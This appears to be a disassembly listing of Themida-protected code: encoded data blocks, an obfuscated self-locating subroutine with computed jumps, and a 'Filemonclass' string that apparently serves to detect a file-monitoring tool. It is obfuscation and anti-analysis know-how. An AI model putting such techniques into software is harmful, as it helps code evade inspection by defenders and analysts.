		dd 0DC1F1939h, 0EFD43033h, 85DE1705h, 3A150B2Bh, 61ADD73Bh
		dd 7ECB22Bh, 0DAF5FA15h, 0FB7B9C4Fh, 92850851h,	6212430Ah
		dd 4FAA8827h, 0F492433Fh, 0F72A082Eh, 93E1B04Fh, 14175E45h
		dd 97DD4E35h, 7C89EA16h, 2A8D8D7Ah, 6A07EB52h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0BFF9C352h, 4FFD3020h, 1B718D89h, 896007E4h,	0E4220595h
		dd 21958B07h, 6107E42Ah, 2DA185C7h, 58D807E4h, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 8436E9C3h, 0C7F9C25Dh, 0E422B985h, 7, 0C0816600h, 0B5FF925Ah
		dd 7E40A59h, 0C398D681h, 95FF2548h, 7E43061h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0A7C35545h, 4259589h
		dd 850F07E4h, 6, 1D6DB58Bh, 6A07E4h, 0E4195FFh,	0C08B07E4h
		dd 3D2538EBh, 0A1672D0Ch, 0D0210A55h, 1974F04Dh, 9FEBC69Fh
		dd 0DB0B6BF8h, 75AA4C6Bh, 5F754031h, 0A43E7AADh, 473DEE69h
		dd 0B048A2FCh, 0E3CFD71Eh, 2FA2CD83h, 0D2808702h, 5FE990B1h
		db 1, 2	dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_5F76F7	proc near		; CODE XREF: sub_4068E0+12Cp
					; sub_409CA0+1Dp ...
		push	edx
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7EB5275h
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_5F784D
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 384C4A89h
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+7E41B71h],	eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 0C42888CEh
		xor	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+7E42DA1h],	eax
		mov	eax, [edx+14h]
		mov	[ebp+7E422B9h],	eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_5F7811
; ---------------------------------------------------------------------------
		db 0FFh, 0B5h, 59h
aFS		db 0Ah
		db 'δ',7,'ιΉ',0
		align 4
		dd 6A5B5FFh, 0AEE907E4h, 0FF000000h, 0E41811B5h, 0A3E907h
		dd 0B5FF0000h, 7E40919h, 98E9h,	0FDB5FF00h, 0E907E422h
		dd 8Dh,	1581B5FFh, 82E907E4h, 0FF000000h, 0E41E15B5h, 77E907h
		dd 0B5FF0000h, 7E40AEDh, 6CE9h,	0D5B5FF00h, 0E907E402h
		dd 61h,	1D49B5FFh, 56E907E4h, 0FF000000h, 0E41E8DB5h, 4BE907h
		dd 0B5FF0000h, 7E42291h, 40E9h,	5DB5FF00h, 0E907E41Dh
		dd 35h,	2BF1B5FFh, 2AE907E4h, 0FF000000h, 0E40635B5h, 1FE907h
		dd 0B5FF0000h, 7E40E15h, 14E9h
		db 0
; ---------------------------------------------------------------------------


loc_5F7811:				; CODE XREF: sub_5F76F7+65j
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+7EB52D6h]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------
		db 0FFh, 95h, 61h
		dd 5B07E430h, 1B71858Bh, 583907E4h, 0F850F04h, 53000000h
		dd 95FF016Ah, 7E40E41h,	0FFE2E95Bh, 5A61FFFFh
		db 0C3h
; ---------------------------------------------------------------------------


loc_5F784D:				; CODE XREF: sub_5F76F7+18j
		popa
		pop	edx
		mov	eax, 7E41A8ADh
		jmp	eax
sub_5F76F7	endp

; ---------------------------------------------------------------------------
		dw 858Bh
		dd 7E42169h, 53C48D8Dh,	418907EBh, 0C6C38B01h, 0E42C2D85h
		dd 0DF685607h, 0FFA9C530h, 0E42141B5h, 0A7858D07h, 0FF07E7B0h
		dd 0C18D8DD0h, 5107E426h, 0B5FF406Ah, 7E406EDh,	929B5FFh
		dd 0D0FF07E4h, 6EDB5FFh, 0B5FF07E4h, 7E40929h, 5E8h, 0DB460C00h
		dd 5F5FB604h, 0C104EF83h, 0C102242Ch, 3022424h,	1CF7243Ch
		dd 0BA24h, 34FF0000h, 0EB815B3Ah, 41212367h, 434DC381h
		dd 0C3815144h, 5475ADADh, 83171C89h, 143B04EAh,	0A850F24h
		dd 0E9000000h, 1Ah, 4B12306Eh, 0FFCCE9E9h, 5C6BFFFFh, 0A15C3A20h
		dd 0EB79223Ch, 0E96E9B88h, 9D8DD992h, 7E40405h,	0C00B038Bh
		dd 7840Fh, 38B0000h, 89045B8Bh,	0E8C98B18h, 14h, 3A94A702h
		dd 0E61EB1D8h, 246FA537h, 2D8E32D9h, 0A1A217C1h, 6E8h
		dd 26165C00h, 81693262h, 0C20D27F3h, 80595F74h,	0C1812AEBh
		dd 632Bh, 0FE960h, 0DE3A0000h, 4B0A77E6h, 80041D81h, 18468BA9h
		dd 7BBE6123h, 815D39CDh, 39B4E0EEh, 7E95Dh, 0F2070000h
		dd 0F930DBD2h, 5831FF7Ah, 0E8813AB6h, 1F9F3Ah, 0E881F38Ah
		dd 0F9A6FC8h, 5ACBC081h, 0DE95378h, 0A0000000h,	705737D8h
		dd 0AD54394Ch, 9F23C51h, 68F0F50h, 81000000h, 6110ACAh
		dd 0F018F76h, 588h, 0F2816600h,	0E983452Eh, 9850F04h, 0F000000h
		dd 387h, 19CB8000h, 1EE81h, 850F0000h, 0FFFFFF9Dh, 8D94F680h
		dd 0EB55CE8Dh, 718D8907h, 6A07E41Bh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0EBDEC352h
		dd 2DA185C7h, 5E1C07E4h, 0C7F80000h, 0E422B985h, 7, 0F6816600h
		dd 0B5FFDB39h, 7E406A5h, 2AD99533h, 95FF07E4h, 7E43061h
		dd 82F18160h, 0E953BE02h, 5, 0D4994965h, 6A611Fh, 0E4195FFh
		dd 0C08B07E4h, 4CF93DEBh, 7CECDF50h, 3E25AEA6h,	66AEA9BDh
		dd 0BF0C2751h, 37CE5484h, 41430F7Dh, 0EF7BC23Ch, 0AF010F0Bh
		dd 4DE17498h, 735F9B77h, 33F81767h, 18E3B631h, 3F9EEA16h
		dd 48D9AAA8h, 0E87CA811h, 0Bh, 0DA96EADEh, 7636BB74h, 666AC3A3h
		dd 9194D181h, 8D8B565Eh, 7E40979h, 81C6815Ah, 0B2000071h
		dd 0EC6BBF23h, 0F78100D4h, 0D4F05Fh, 8BCF8B66h,	518D011Eh
		dd 8107E424h, 927195C3h, 2810F65h, 0B5000000h, 5AEB81E6h
		dd 81147B82h, 0DF8C0FF2h, 2F38163h, 2B391705h, 0E405C585h
		dd 958B5307h, 7E41F1Dh,	958B068Fh, 7E4067Dh, 6004EE83h
		dd 2A69BD8Bh, 8B6607E4h, 0EF8161F3h, 1,	1D850Fh, 85890000h
		dd 7E41505h, 24E9h, 195A3200h, 44025A95h, 2E7C34D6h, 2247D36Ch
		dd 0E9B4E5E2h, 0FFFFFF87h, 0FB4D6C4h, 0C8AFF110h, 418B22A6h
		dd 0BE934h, 84F0000h, 4919h, 0
		dd 50EE900h, 0DE680000h, 0E907EB57h, 0FFF92713h, 0EB584768h
		dd 2709E907h, 0D568FFF9h, 0E907EB59h, 0FFF926FFh, 0C5597B53h
		dd 22B6D6AFh, 8216300Ch, 0E5798D6Ch, 44D8F4CFh,	0F1CC856Bh
		dd 512B41D5h, 0AB899F33h, 0EEB0195h, 0FFAF62F6h, 0A9F6FD82h
		dd 85145913h, 275F7B56h, 53317C59h, 116A053Dh, 7D315E7Dh
		dd 8B32B02Dh, 178013A6h, 69FA55C7h, 7A53409Dh, 9E10A268h
		dd 4F7E1D49h, 40394BA4h, 13A6CFBFh, 134BFB0Ch, 0D877A2ECh
		dd 38FD38AAh, 709EA466h, 31CBF5Eh, 41DF0000h, 79144C64h
		dd 0C7459267h, 50A00E81h, 0A68C05D3h, 963D313h,	323C87Fh
		dd 46515AB3h, 0EEC3E5CCh, 1D6D414Eh, 0DCBB59BBh, 8AF590C8h
		dd 110B2AF5h, 0EDE6F861h, 16EF2B8Fh, 0E5BCF45Dh, 52B404AAh
		dd 84BCDAB4h, 0C1DED7E9h, 8D1E8B10h, 5936D424h,	8A16340Eh
		dd 0BE5991B1h, 0DEBBD165h, 0D59572C6h, 0B2F25CEFh, 3742Ch
		dd 3A5C3400h, 97B790A6h, 0F711ED03h, 5A6E4D63h,	0B9D5B0C6h
		dd 0ADA64C25h, 0C22B6D2h, 6A801432h, 0CCE2768Ch, 9043D7EFh
		dd 0F79C63E0h, 0F53A13A9h, 6C424D66h, 0F60F9F1Ch, 0DC4513A9h
		dd 0FA10EE8Ch, 916C0AE8h, 6907E175h, 64906D8Ch,	0C330FD63h
		dd 633E586Ah, 66620F47h, 0F9EC5699h, 61B0041Ch,	3A6A15D5h
		dd 30B74FAh, 0C59D0000h, 20F90FA3h, 7A566C00h, 0D7B6CC60h
		dd 3E192FC3h, 4FB58E22h, 8B1F3B16h, 0E97D9B75h,	4BDFF5D3h
		dd 0AC405835h, 37CC49F9h, 0A313A9F8h, 424DCF5Eh, 0A57E1C6Ch
		dd 0A0B24D85h, 0F66945C2h, 82EB13A9h, 0A1B59432h, 1A6ECE69h
		dd 0EEDEF54h, 46F3B9CBh, 13A923B5h, 19450112h, 0D8709AE6h
		dd 193912B0h, 1C3813E1h, 0DB12B1C3h, 32000001h,	2BAC53D0h
		dd 0BA2A13A9h, 14F66A89h, 95A7000Eh, 617956C0h,	667E5B29h
		dd 1996F8D2h, 1442A062h, 0AF23F4E1h, 0A8F9E09Bh, 8D72EF3Fh
		dd 49144238h, 0E4ABCEE0h, 0FFDC7ACAh, 214AFE7h,	0D750C224h
		dd 54B67035h, 292C128Fh, 84DD578Bh, 0D3777972h,	0D43D13A6h
		dd 0EE980A9Ch, 126917E4h, 0F38C8597h, 5813A6BDh, 0A05F1F47h
		dd 35D87800h, 34h, 65424D5Eh, 0A8836FECh, 0CBF82C8Ch, 0CD26421Dh
		dd 24C22474h, 59F42C4Ah, 0B5984E47h, 0ED5613A6h, 857708B5h
		dd 0C3D413A6h, 0EC24DB83h, 0BBB1D877h, 0DA000000h, 502E7956h
		dd 0DBA9E13Ah, 8B70ED00h, 471442A0h, 0BB4D85DEh, 1426421Dh
		dd 0CD051DFAh, 0AABE9D3Bh, 0ABC5D772h, 466B6CEh, 84BF6792h
		dd 96012DF9h, 1442BFE1h, 0BF0AF16Eh, 5FC81442h,	3F19A50Eh
		dd 3C4EE921h, 0BB84251Ah, 0BE9B1442h, 9CF312A6h, 91EA02DFh
		dd 6366C441h, 57F513A4h, 6D4C5E7Eh, 3B16B404h, 0C7C99E18h
		dd 50A9951Bh, 0AFCBA6BCh, 19D6C05Bh, 29AFEF6Ah,	17Dh, 9D31532Bh
		dd 0FA8EAE87h, 5AEE08E4h, 0BD516544h, 1CB0CCA7h, 0C9A4BD43h
		dd 290319ADh, 8361770Bh, 0E6C3D96Dh, 0D7873ACEh, 0A9F9A55Ah
		dd 5DEC3113h, 0CB5F7B56h, 5F7553F1h, 3E56334Dh,	3092D9AAh
		dd 42A0CCB3h, 0F218A14h, 0F2CD18F5h, 0BB2D7DD6h, 0D5CD2B5Eh
		dd 975D6F41h, 40D4ECC9h, 0F0406E21h, 0A6E46F73h, 74C42D13h
		dd 0D3ACFBD6h, 3089A580h, 76943D7h, 0FB5328A5h,	96FF13A6h
		dd 0A6FB542Bh, 0D990213h, 47E21A2Eh, 0FB433C35h, 9E1013A6h
		dd 0EA9CD74h, 0F27A59FEh, 0EE27CC2Ch, 0B693ADBFh, 19F40A9Eh
		dd 340FADFDh, 0E545E018h, 7F444D81h, 2FF5072Eh,	0C4A9h
		dd 424D3800h, 0B435D39h, 27DB5C69h, 29823734h, 0B70380D0h
		dd 0A613A9ABh, 0D8102E08h, 0BA132F0Ah, 1416ED6Ah, 5BC413A9h
		dd 0B1016A49h, 0AC9B353Fh, 0C9DB1983h, 40583503h, 5D7552F0h
		dd 61169325h, 0ED13A931h, 0F7192B84h, 9CEC04E1h, 0FAD522FEh
		dd 0B20BA6DEh, 532DDAA0h, 305D5B65h, 0AF8CF3B3h, 25D54797h
		dd 0A3C39C0Ch, 0F370D06Bh, 9FC1D33Ah, 568DAC89h, 0D4E86907h
		dd 5991AB87h, 981565BEh, 429F0CE3h, 5DAD066Fh, 49F4A6EBh
		dd 74F05070h, 7C425483h, 0DDB4CFAEh, 0BB423E16h, 762D65BEh
		dd 9B78E79Fh, 0DE680F8Ch, 0D2AB429Fh, 0A8F861B2h, 9FDE542Bh
		dd 40990242h, 0A1B996ACh, 3E369h, 8D720000h, 5C7E563Eh
		dd 61795624h, 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h
		dd 768A6937h, 7A94703Eh, 7B9B7442h, 8953EE43h, 4C381E3h
		dd 83000000h, 1C8704EBh, 2C895C24h, 3DC6824h, 34890000h
		dd 773B6824h, 3C890000h, 0BF575524h, 2AC7233Bh,	3263DCBDh
		dd 5FFD2969h, 80165CBEh, 5DEE01C9h, 4EC81h, 24890000h
		dd 24048324h, 65685F04h, 89000015h, 478F2434h, 2434FF08h
		dd 4C4815Fh, 0FF000000h, 835E2434h, 1CE904C4h, 0A5FFF922h
		dd 0D2059E50h, 5A302644h, 0D35119Fh, 0EB5B77B8h, 0FFC50307h
		dd 636D7BE0h, 0F100CA41h, 0AD0A5D7Ch, 188B825h,	901F7E6Ch
		dd 0C8C13232h, 2C22AD50h, 704F6F07h, 7CBA9C77h,	0BFE26F07h
		dd 0C93B556h, 0DC754D54h, 8D030308h, 0C544265Fh, 711EF501h
		dd 0ABCE3625h, 9637818h, 0C0379617h, 4963582Bh,	0B66B2A10h
		dd 0AE6D1A56h, 0CE4D0A29h, 11E83Fh, 456F0000h, 0B8641871h
		dd 0EBA35E1Fh, 0F352109Ah, 0B62E2F5Eh, 81665BD9h, 81177FDAh
		dd 5C9FC3h, 0F08B6600h,	0D3CB8B9h, 0BAE9813Fh, 0F3F0D25h
		dd 33FFD6B7h, 5FF28B66h, 0F6BE5356h, 5A4D7A83h,	0F2C7815Eh
		dd 0BA7BC6E7h, 788136E0h, 9E51F781h, 14E94FC3h,	0CD000000h
		dd 8421F666h, 40468346h, 13E21F0h, 0C5722948h, 819AA588h
		dd 89179BF7h, 57D78B76h, 69D5DA81h, 38F4E5Ch, 81C2BF0Fh
		dd 6210EAEBh, 0CA816668h, 0C38174D0h, 686210E6h, 49C1BF0Fh
		dd 0FF98850Fh, 0EE9FFFFh, 88000000h, 46BB64E9h,	286687C8h
		dd 101CA3A9h, 5E824h, 0FCE90000h, 0E99E01FCh, 0Bh, 732A6376h
		dd 0A962A740h, 5B3EBDC5h, 0AE8h, 76FDE00h, 9B40D7F9h, 0E90E43A6h
		dd 0Ch,	5C9E4910h, 0D3A80EE5h, 87EFA7E3h, 79C3815Eh, 0E9000059h
		dd 9, 0BFC105D7h, 6DAB73E3h, 163168B5h,	0E95F0000h, 10h
		dd 7A298084h, 32927872h, 0CE9973B9h, 0A1A659E2h, 0EA81038Bh
		dd 1E1C20A1h, 9543F081h, 81F96BCEh, 305371C0h, 0D18B6017h
		dd 61D7BF0Fh, 0E20EE881h, 6E96B82h, 3000000h, 4051C91Ah
		dd 0F5038955h, 0F04EB83h, 38Ah,	0CFB70F00h, 1EF81h, 850F0000h
		dd 0FFFFFFB8h, 5820Fh, 81660000h, 8B2234C1h, 0F1BD83C0h
		dd 7E413h, 0BD830975h, 7E40935h, 50197400h, 0B8C08B53h
		dd 421h, 14798589h, 9D8D07E4h, 7E6E9F0h, 585BD3FFh, 935BD83h
		dd 740007E4h, 0B8535017h, 421h,	14798589h, 9D8D07E4h, 7E6E6DFh
		dd 585BD3FFh, 9D8BC08Bh, 7E415DDh, 2C2D85C6h, 685607E4h
		dd 9CA8B852h, 2141B5FFh, 858D07E4h, 7E7B0A7h, 46AD0FFh
		dd 100068h, 1B5FF00h, 6A07E41Ah, 85D0FF00h, 0D850FC0h
		dd 0B8000000h, 0
		dd 72B78D8Dh, 0E1FF07E4h, 0C38BC88Bh, 53C4003h,	0F8h, 30C508Bh
		dd 5BD83D3h, 7E404h, 0E840Fh, 9D8B0000h, 7E40405h, 3215858Bh
		dd 38907E4h, 858D5251h,	7E44452h, 0FA8BD0FFh, 0D18BF18Bh
		dd 0A4F3C88Bh, 2C2D85C6h, 685607E4h, 0D41F6D39h, 2141B5FFh
		dd 858D07E4h, 7E7B0A7h,	68D0FFh, 6A000080h, 0D0FF5200h
		dd 0BD83C08Bh, 7E413F1h, 83097500h, 0E40935BDh,	19740007h
		dd 0C08B5350h, 421B8h, 0ED858900h, 8D07E40Eh, 0E6EA579Dh
		dd 5BD3FF07h, 35BD8358h, 7E409h, 53501774h, 421B8h, 0ED858900h
		dd 8D07E40Eh, 0E6E6F89Dh, 5BD3FF07h, 8DC08B58h,	0E404059Dh
		dd 0B038B07h, 7840FC0h,	8B000000h, 45B8B03h, 41B81889h
		dd 0E800004Bh, 6, 0EF7BC23Ch, 0B8660F0Bh, 0B95E7607h, 6755B718h
		dd 5A4CC681h, 81660000h, 0BAEBA8D1h, 0
		dd 148F0Fh, 0FE90000h, 0C2000000h, 0F35D6709h, 1F18C233h
		dd 0E4D73DFEh, 34FF338Bh, 68E38132h, 5F2BA3CDh,	81A3F580h
		dd 0D8A442C7h, 0C3816031h, 3B80EF7Ch, 0ECB96660h, 0EE8A1h
		dd 0BC7B0000h, 6C09598Fh, 295C8234h, 0A9DE07FEh, 81616158h
		dd 0DFD16EC7h, 0C0E38015h, 0B172C781h, 0C38B1071h, 0F5163C89h
		dd 3CD88166h, 1EA83D2h,	5810Fh,	0B5600000h, 4A61FC53h
		dd 0BA604A4Ah, 2E765561h, 8161FA8Bh, 0FFA664FAh, 8B850FFFh
		dd 50FFFFFFh, 581CC480h, 10E8h,	70223D00h, 5150BE21h, 26E8C3E9h
		dd 0BC0451Ch, 14E8DEh, 0FF9C0000h, 0DED8818Ch, 0FC246434h
		dd 92E480E9h, 5096A0C6h, 880F9039h, 16h, 11E9h,	0CCC21F00h
		dd 750FBFBDh, 0A7B39804h, 0E01BD07Fh, 5859EBBDh, 0BE9h
		dd 257EB500h, 0E952B6CEh, 7CBCDA8Eh, 0E811C081h, 0F18B0000h
		dd 9E9D22Bh, 74000000h,	84F8B25Dh, 0BBC9F42Fh, 0F80234FFh
		dd 81EC8A5Fh, 0B0CBCEFh, 89F7817Fh, 0F148F64h, 138Dh, 0EE900h
		dd 0ACA30000h, 86483859h, 0AB2CEE96h, 0E19131D4h, 0CFFBEF81h
		dd 0EE92F0Bh, 6D000000h, 0E26EF24Bh, 0C9CB43B9h, 0E4896FC0h
		dd 103C8915h, 5E9h, 5FD45900h, 0EA83F2B2h, 4A4AFC02h, 8178C580h
		dd 0FF18D0FAh, 99850FFFh, 0FFFFFFFh, 981h, 3880F00h, 80000000h
		dd 0ED554AC3h, 7A5E75FDh, 69A476F6h, 49BC56E6h,	254209FDh
		dd 256C6FFDh, 257AACFDh, 25FE02FDh, 253BFCFDh, 25D9EAFDh
		dd 25A8B3FDh, 251090FDh, 254C8FFDh, 256DCAFDh, 257A83FDh
		dd 25F0E4FDh, 253441FDh, 25D626FDh, 25A703FDh, 251ECFFDh
		dd 254213FDh, 8A259DFDh, 0A2229535h, 714A76D6h,	4BBD5CDEh
		dd 7A5A5CF4h, 722775FDh, 799775F5h, 78CB74FDh, 7DED73FDh
		dd 7BF374F5h, 7B7874FCh, 7ABC75FCh, 7A5E75FDh, 640D76FDh
		dd 65DE75A2h, 7ACB75A2h, 7BE475FDh, 7BF374FCh, 0B29074FCh
		dd 1ABC75F8h, 1E85F070h, 0FFA67216h, 7D7C14EFh,	1E3AF070h
		dd 0FF6C7216h, 7D19152Fh, 1F56F070h, 0FF357216h, 7DB514F3h
		dd 1EA0F070h, 0FF1E7216h, 7D20152Bh, 1EABF070h,	0FF7B7216h
		dd 7D921527h, 1850F070h, 0FFD77216h, 7DC41523h,	1869F070h
		dd 0FF427216h, 7D0E151Fh, 19E6F070h, 0FFF07216h, 7D57151Bh
		dd 1931F070h, 0FFA67216h, 7D7C150Fh, 19F0F070h,	0FF6C7216h
		dd 7D191517h, 1923F070h, 0FF357216h, 7DB51513h,	1940F070h
		dd 0FF1E7216h, 7D20150Fh, 194CF070h, 0FF7B7216h, 7D9214FFh
		dd 1974F070h, 0FFD77216h, 7DC414FBh, 197CF070h,	0FF427216h
		dd 7D0E14F7h, 1EC6F070h, 0FFF07216h, 7D57150Bh,	1E35F070h
		dd 0FFA67216h, 7D7C1507h, 1FCDF070h, 0FF6C7216h, 7D191503h
		dd 5DE4F076h, 0FF357219h, 7DB514B6h, 56D2F076h,	0FF1E7219h
		dd 7D2014B2h, 0F1B0B69Ch, 7AF29D11h, 0FB2375FDh, 91DE2A17h
		dd 3FD525FAh, 30ADFDF5h, 22909E9Ch, 7ACFB734h, 29B723ACh
		dd 7A1A20ADh, 277975FDh, 183C987Ch, 0FFA07216h,	7DC4152Ch
		dd 1A46C87Dh, 9CF7216h,	75E4C5B4h, 0BAF9B54Bh, 0EF863589h
		dd 7D5714B2h, 2B96FEBDh, 7A2F7A45h, 35028AFDh, 0F7CC9E9Ch
		dd 9185A748h, 0FCC6F8FAh, 7E4B9D50h, 6FCF75FDh,	7A5E7645h
		dd 35BA8AFDh, 0F7909E9Ch, 91ABA748h, 0FCD1F8FAh, 23228A50h
		dd 0F787BC1Fh, 7D57152Ch, 20052DA0h, 92EC2CA3h,	7A97776Dh
		dd 79C1CD4Dh, 31708A57h, 0D1F59E9Ch, 78079D3Eh,	0C2DA75FDh
		dd 5954CD9Bh, 0EFD0DE9Bh, 7D7C14B6h, 9208DE9Bh,	7AE57795h
		dd 72F3360Bh, 0EF866E88h, 7D5714B6h, 7954C54Dh,	31BA8AADh
		dd 20909E9Ch, 7E2BF69Bh, 1C277E9Bh, 6B1AB656h, 297975FFh
		dd 7ABE4E15h, 0A0652FFDh, 59A57B89h, 7094913Dh,	0BA07F5DFh
		dd 0D183FE4Dh, 7B009D3Eh, 922A75FDh, 7ABC77E1h,	0E844EA7h
		dd 0D049C512h, 0A77FA916h, 8CCB75FCh, 0FED74BEh, 7B1A26D3h
		dd 207975FFh, 72BD360Bh, 0A0655488h, 59A56889h,	7094913Dh
		dd 0BA07F5DFh, 85B5FF4Dh, 91933E68h, 5F1F2FFAh,	71DA51FDh
		dd 0B9F5133Fh, 9285E94Dh, 7A9774BDh, 9261F44Dh,	7AE57435h
		dd 7AF22D15h, 5791DEFDh, 0CABC75FCh, 0CA9DDF60h, 5BC7DF61h
		dd 1C9775FCh, 1C4A1345h, 7B439D56h, 4C1A75FDh, 1C7975FDh
		dd 7BB69D56h, 0E7EE75FDh, 0E69FB657h, 7A699D57h, 0F32375FDh
		dd 8CE575FCh, 0FFA74BEh, 0D0F9C5F2h, 7ABC6515h,	9EDEDFFDh
		dd 84487DF9h, 7A97AA15h, 0D056C5FDh, 7AE2CD3Eh,	0EF0D75FDh
		dd 7D9214B2h, 1BAAC070h, 8A5D7216h, 0D02C7F51h,	1BDCE002h
		dd 92087216h, 7AE574E5h, 79F8254Dh, 844B9D57h, 43548A02h
		dd 0CA5E75FCh, 0D02C7FA5h, 0D0C7C53Eh, 9261274Dh, 851A8BE1h
		dd 4BFDCD9Bh, 6B91DE9Bh, 0CA438A03h, 22EEDFA7h,	929FB657h
		dd 923C2257h, 7ACB750Ch, 5122FEA7h, 7E1AF63Fh, 8B917774h
		dd 92438A00h, 7A5E7505h, 79252D4Dh, 0FF69B657h,	7D201535h
		dd 1A2DC87Dh, 0FF37216h, 40FCF8ECh, 2ABB9E9Ch, 7A5C6115h
		dd 781B9DFDh, 1A2775FDh, 87759D57h, 0C30D8A02h,	0CA0D8A00h
		dd 0F787DF9Ch, 7D571535h, 1A96C87Dh, 0F2F7216h,	4012F8F1h
		dd 2ACC9E9Ch, 7AE4DE15h, 7E4AB6FDh, 857975FDh, 91DD3A68h
		dd 0EDC3F8FAh, 0F0289E98h, 0B93D6DF9h, 2D619C4Dh, 7A8E9D56h
		dd 0F1A875FDh, 0F9BB5E3Ah, 78357115h, 31CB8A3Eh, 0CE289E9Ch
		dd 0E96514Ah, 0CA74C1FFh, 924E13F2h, 7AF275C9h,	7A279DAEh
		dd 0F0E675FDh, 79BEB5FEh, 7825B5F1h, 0EF68B657h, 7D2014B6h
		dd 0FAEA917Dh, 7542F539h, 0D12EDE9Bh, 85415A15h, 0BDD52F02h
		dd 92ACB7D6h, 0B995FCF9h, 7ACB7345h, 35708AFDh,	0F7F59E9Ch
		dd 91185B60h, 39A0F8FAh, 7A4ECD3Eh, 0EFD075FDh,	7D7C14B2h
		dd 0F1CEB57Eh, 0EF1A8935h, 7D1914B6h, 0B98E9757h, 8543BE15h
		dd 7B1DFF02h, 8E5A72D9h, 6C7F7677h, 8CB75FCh, 831DB616h
		dd 0F1A78908h, 86BDF611h, 7ABC9D9Dh, 0FB0475FDh, 914AD217h
		dd 86EAFCFAh, 1B81CF7Dh, 75E57216h, 7AF2EC79h, 7A73CDFDh
		dd 0E84375FDh, 7DB514B2h, 29ADFCBDh, 0F1909E9Ch, 179F835h
		dd 85E29E9Bh, 91933E6Fh, 3C7FFDFAh, 6D04801Fh, 795E75FDh
		dd 914E267Fh, 0E01A35FAh, 7D201392h, 0F3E1B67Eh, 644B22FEh
		dd 797975FDh, 91DD2677h, 27ECF8FAh, 89289E9Bh, 722F2B59h
		dd 85CB75FDh, 91843A6Fh, 7E0AF6FAh, 7C718589h, 7ABC7244h
		dd 4B5A7DFDh, 0BBF7C3F2h, 742E761Eh, 72CB75FDh,	765C44E1h
		dd 72F275FDh, 61C044F9h, 72BC75FDh, 66E744F9h, 722F75FDh
		dd 5B7F44F9h, 0F3348A01h, 0F1848980h, 0B93B8980h, 7A7F9DADh
		dd 229C75FDh, 8E7A1102h, 5E6BFCA5h, 3E16E905h, 2CB389D9h
		dd 3A7867C9h, 7AF2B6ADh, 7A7975FDh, 7ABC75FDh, 1AB2FEA8h
		dd 7A2F7515h, 90162FFDh, 7D201373h, 1BB2CF70h, 0F797216h
		dd 7A71CCF5h, 0DE4F75FDh, 7E9CBC9Ch, 0E7A226FDh, 7D7C14AAh
		dd 7BD3497Dh, 83BE7188h, 82A97716h, 96F2203Eh, 7ABC9D9Dh
		dd 0FB0475FDh, 9149B217h, 2D25F8FAh, 0F1CC9E9Ch, 725C7D80h
		dd 89F275FDh, 0B8B01459h, 0F7DC75F9h, 913F2240h, 0C3EF46FAh
		dd 7A9775F5h, 0B9AADF0Eh, 2D58F89Dh, 0FBF59E9Ch, 7B7874C2h
		dd 0FBB000FCh, 7B5F7182h, 795A74FCh, 82969E04h,	0F7ABB69Ch
		dd 91842240h, 7AF3CDFAh, 72C075FDh, 89BC75FDh, 0F19D1457h
		dd 0F7EFFE3Dh, 91F61178h, 8BD08AFAh
		db 0CAh, 0EBh, 16h
aFilemonclass	db 'Filemonclass',0     ; DATA XREF: Themida_:00582EA4o
		dd 0
		dd 1000000h, 54C01h, 6A07EB00h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 7BFC357h, 0C794F209h
		dd 0F0C17DBh, 66605690h, 5774F5B9h, 505B6159h, 6A90D88Bh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 0FE80C356h, 6A6B18h, 59506057h, 50DA8166h
		dd 6A5F6182h, 0D1BD8B00h, 8D07E406h, 0EB686785h, 7D8D8B07h
		dd 9007E42Bh, 80BF5760h, 59762512h, 0BE9h, 0CA253200h
		dd 561EE1C7h, 0D78D38Fh, 60515061h, 8B66E18Ah, 905B61C3h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 7DC35242h
		dd 8B1EBCDCh, 0BB66023Dh, 6A698Dh, 6FD98166h, 81006ADFh
		dd 0A77E25CFh, 7195FF35h, 6007E424h, 3579958Bh,	0F18B07E4h
		dd 5DEE961h, 6A0000h, 3E856h, 5E200000h
		db 0C3h
byte_5F8CCD	db 5Eh,	89h, 74h	; DATA XREF: Themida_:00584640o
		dd 44810424h, 140424h, 56460000h, 8B6051C3h, 0E40A85B5h
		dd 0D1958907h, 6107E431h, 17D8D01h, 0E807E4h, 5D000000h
		dd 686CED81h, 6A07EBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 87FA5FC3h, 2094BA66h, 0EB0EEF81h
		dd 0FD8A371Ch, 70D7FE68h, 0D88B6622h, 5E243481h, 892270D8h
		dd 0E41C459Dh, 4195FF07h, 6A07E40Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0DA9EC353h
		dd 0BD8BDC8Ah, 7E4092Dh, 6738B58Dh, 0B96607EBh,	6C74C51h
		dd 6D676552h, 25D99D89h, 0F98B07E4h, 6F0446C7h,	6A6C636Eh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0F915C350h, 84DC6535h, 6214D113h,	30C18166h
		dd 846C7FAh, 737361h, 0E857006Ah, 3, 5FC35F20h,	4247C89h
		dd 4244481h, 17h, 25C35747h, 8BB3C1B1h,	0E417C5BDh, 6A006A07h
